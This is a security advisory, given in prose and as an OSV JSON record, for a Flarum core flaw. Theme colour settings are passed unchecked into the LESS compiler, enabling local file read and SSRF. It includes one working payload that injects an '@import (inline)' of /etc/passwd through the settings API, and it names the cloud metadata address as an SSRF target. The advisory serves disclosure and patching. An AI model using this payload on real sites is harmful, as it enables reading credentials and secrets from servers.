Impact

An attacker who has compromised — or legitimately obtained — an administrator account can:

  • Read arbitrary local files reachable by the PHP process (e.g. /etc/passwd, .env, config files containing database credentials, OAuth secrets, API keys).
  • Trigger outbound HTTP/HTTPS requests from the Flarum host, enabling SSRF against internal services and cloud metadata endpoints such as http://169.254.169.254/ (AWS IMDSv1, GCP, Azure).

The contents of the attacker-controlled import are embedded into the compiled forum.css, which is publicly served — so the attacker can retrieve whatever was read simply by fetching the CSS file.

This is a privilege-escalation vulnerability: a forum administrator is not intended to have host-level file read or access to internal network resources.

Example payload

Submitted via POST /api/settings with an admin session:

{ "theme_primary_color": "#4D698E;@import (inline) '/etc/passwd';" }

The setting is stored verbatim, interpolated into the LESS source on the next CSS compile, and the target file's contents appear in /assets/forum.css.

Patches

  • flarum/core 1.8.16 — fix for the 1.x branch.
  • flarum/core 2.0.0-rc.1 — fix for the 2.x branch.

The fix extends the existing @import / data-uri() validation in Flarum\Forum\ValidateCustomLess::whenSettingsSaving to every dirty setting whose key is registered as a LESS config variable, not just custom_less.

Workarounds

If upgrading is not immediately possible:

  • Ensure administrator accounts are protected with strong, unique passwords and (where supported) two-factor authentication.
  • Restrict administrator access to trusted users only.
  • Review the forum's public forum.css for unexpected content that could indicate prior exploitation.

There is no configuration-level mitigation on affected versions — the fix requires the upgraded code.

Resources

Credit

Reported to the Flarum Foundation by William (Liam) Snow IV (@LiamSnow), discovered during a graduate-level network security lab at Worcester Polytechnic Institute.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "flarum/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.0-beta.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "flarum/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.1"
            },
            {
              "fixed": "2.0.0-rc.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:34:52Z",
    "nvd_published_at": "2026-05-08T17:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nFlarum\u0027s patch for [CVE-2023-27577](https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw) restricted the `@import` and `data-uri()` LESS features in the `custom_less` setting, but the same restriction was never applied to other settings registered as LESS config variables (for example `theme_primary_color` and `theme_secondary_color`, as well as any key registered via `Extend\\Settings::registerLessConfigVar()`).\n\nThose values are interpolated verbatim into the LESS source at compile time, allowing an authenticated administrator to craft a theme-color value that injects an arbitrary `@import` directive into the compiled `forum.css`. Because the underlying LESS parser honours `@import (inline) \u0027\u003cpath\u003e\u0027`, an attacker can read arbitrary files reachable by the PHP process (local file inclusion) or trigger outbound HTTP(S) requests (server-side request forgery).\n\n## Impact\n\nAn attacker who has compromised \u2014 or legitimately obtained \u2014 an administrator account can:\n\n- **Read arbitrary local files** reachable by the PHP process (e.g. `/etc/passwd`, `.env`, config files containing database credentials, OAuth secrets, API keys).\n- **Trigger outbound HTTP/HTTPS requests** from the Flarum host, enabling SSRF against internal services and cloud metadata endpoints such as `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure).\n\nThe contents of the attacker-controlled import are embedded into the compiled `forum.css`, which is publicly served \u2014 so the attacker can retrieve whatever was read simply by fetching the CSS file.\n\nThis is a privilege-escalation vulnerability: a forum administrator is not intended to have host-level file read or access to internal network resources.\n\n### Example payload\n\nSubmitted via `POST /api/settings` with an admin session:\n\n```json\n{ \"theme_primary_color\": \"#4D698E;@import (inline) \u0027/etc/passwd\u0027;\" }\n```\n\nThe setting is stored verbatim, interpolated into the LESS source on the next CSS compile, and the target file\u0027s contents appear in `/assets/forum.css`.\n\n## Patches\n\n- **`flarum/core` 1.8.16** \u2014 fix for the 1.x branch.\n- **`flarum/core` 2.0.0-rc.1** \u2014 fix for the 2.x branch.\n\nThe fix extends the existing `@import` / `data-uri()` validation in `Flarum\\Forum\\ValidateCustomLess::whenSettingsSaving` to every dirty setting whose key is registered as a LESS config variable, not just `custom_less`.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n- Ensure administrator accounts are protected with strong, unique passwords and (where supported) two-factor authentication.\n- Restrict administrator access to trusted users only.\n- Review the forum\u0027s public `forum.css` for unexpected content that could indicate prior exploitation.\n\nThere is no configuration-level mitigation on affected versions \u2014 the fix requires the upgraded code.\n\n## Resources\n\n- [CVE-2023-27577](https://nvd.nist.gov/vuln/detail/CVE-2023-27577) \u2014 the original vulnerability whose patch was incomplete.\n- [GHSA-vhm8-wwrf-3gcw](https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw) \u2014 the original advisory.\n\n## Credit\n\nReported to the Flarum Foundation by **William (Liam) Snow IV** ([@LiamSnow](https://github.com/LiamSnow)), discovered during a graduate-level network security lab at Worcester Polytechnic Institute.",
  "id": "GHSA-xjvc-pw2r-6878",
  "modified": "2026-05-13T13:30:21Z",
  "published": "2026-04-22T20:34:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/security/advisories/GHSA-vhm8-wwrf-3gcw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/security/advisories/GHSA-xjvc-pw2r-6878"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27577"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/commit/2d90a1f19f0e46f8c7e1b07c48ba74b5e38f8410"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flarum/framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/releases/tag/v1.8.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flarum/framework/releases/tag/v2.0.0-rc.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flarum: Path traversal in LESS parser via theme color settings (incomplete fix for CVE-2023-27577)"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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